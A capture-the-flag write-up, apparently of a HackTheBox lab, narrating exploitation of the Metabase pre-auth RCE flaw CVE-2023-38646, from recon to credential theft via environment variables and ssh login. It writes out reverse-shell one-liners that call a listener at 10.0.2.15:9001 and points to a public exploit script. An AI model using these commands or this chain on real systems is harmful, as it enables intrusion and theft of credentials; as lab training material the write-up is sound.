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I recently came across a pentest that taught me how to exploit a metabase web application. This web application had a 

security flaw  which was given a CVE of 2023-38646. In short, this vulnerability allows an attackers to execute arbitrary 

commands on the server without requiring any authentication. The impact of this flaw was severe, as it granted 

unauthorized access to the server at the server’s privilege level. Below is a representation of how I exploited the target. 
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Once the credentials were obtained from the RCE, I used ssh to gain shell access and got access to the server as the user. 



The first step in any pentest is usually reconnaissance 

which is the gathering of information about your 

target, I started off by performing a nmap scan and got 

the target open ports and associated services. 

Two ports were open which was port 22 which was 

running ssh service and port 80 which was running 

http service. 

With port 22 we can't do much with that services 

since we don’t have credentials to login with hence 

went for port 80. 



From the nmap result we noted that there was a 

domain name that was being used by the target 

machine which was analytical.htb. I opened up 

/etc/hosts and added the domain name. 



On the browser I entered the domain name and 

loaded the web application. It was a website that is 

associated with research.

I browsed through the web application, and everything 

was a rabbit hole except the login tab which opened 

another page. 

Initially it couldn’t load the page because the domain 

name was not added on /etc/hosts but once I did a 

data.analytical.htb the page was loaded 



data.analytical.htb was a subdomain which was built 

using the metabase application. It was a login page 

which requested for the username and password to 

gain access to the web application. 

Unfortunately, at this point we didn’t have any 

credentials to use hence we had to look for another 

alternative to either gain unauthorized access to the 

web application or get credentials which I will use to 

access the web application.



Since the subdomain was an application called 

metabase, I searched for exploits relating to the 

application and fortunately there were several results 

some of them being proof of concepts and others 

being explanations about the vulnerability which was 

dubbed CVE-2023-38646.



Opening the first search result which was a proof of 

concept in GitHub, I saw that it was a script. Going 

through the readme page it explained what the 

vulnerability was about and what you needed for you 

to exploit it successfully.

Link: https://github.com/m3m0o/metabase-pre-auth-

rce-poc



Upon reading several articles which all explained 

about the vulnerability in the api of the web 

application, we had to go to the endpoint of 

/api/session/properties then scroll down to setup-

token and get the token which was going to be used in 

the script to upload the payload.



Once you have obtained the setup-token you are 

supposed to run the script that was obtained from 

GitHub and upload the payload.

Open the terminal and start your Netcat listener and 

then open another terminal run the script  where you 

enter the subdomain name, the setup-token and your 

revers shell.

Note: if one shell doesn’t work find another one that 

will work, initially used the shell of  bash -i >& 

/dev/tcp/10.0.2.15/9001 0>&1  which didn’t work, 

and I changed it to sh -i >& /dev/tcp/10.0.2.15/9001 

0>&1 which worked and got access to the application



Upon getting a successful reverse shell, I listed all items 

on the box to see what files and folders were there and 

realized that the application was hosted in docker. The 

first step was to check for environment variables where 

I typed in the command env which ended up revealing 

credentials.



The obtained credentials was now used to gain access 

to the target server using ssh and gotten access to the 

user.txt flag.




	Slide 1
	Slide 2
	Slide 3
	Slide 4
	Slide 5
	Slide 6
	Slide 7
	Slide 8
	Slide 9
	Slide 10
	Slide 11
	Slide 12
	Slide 13

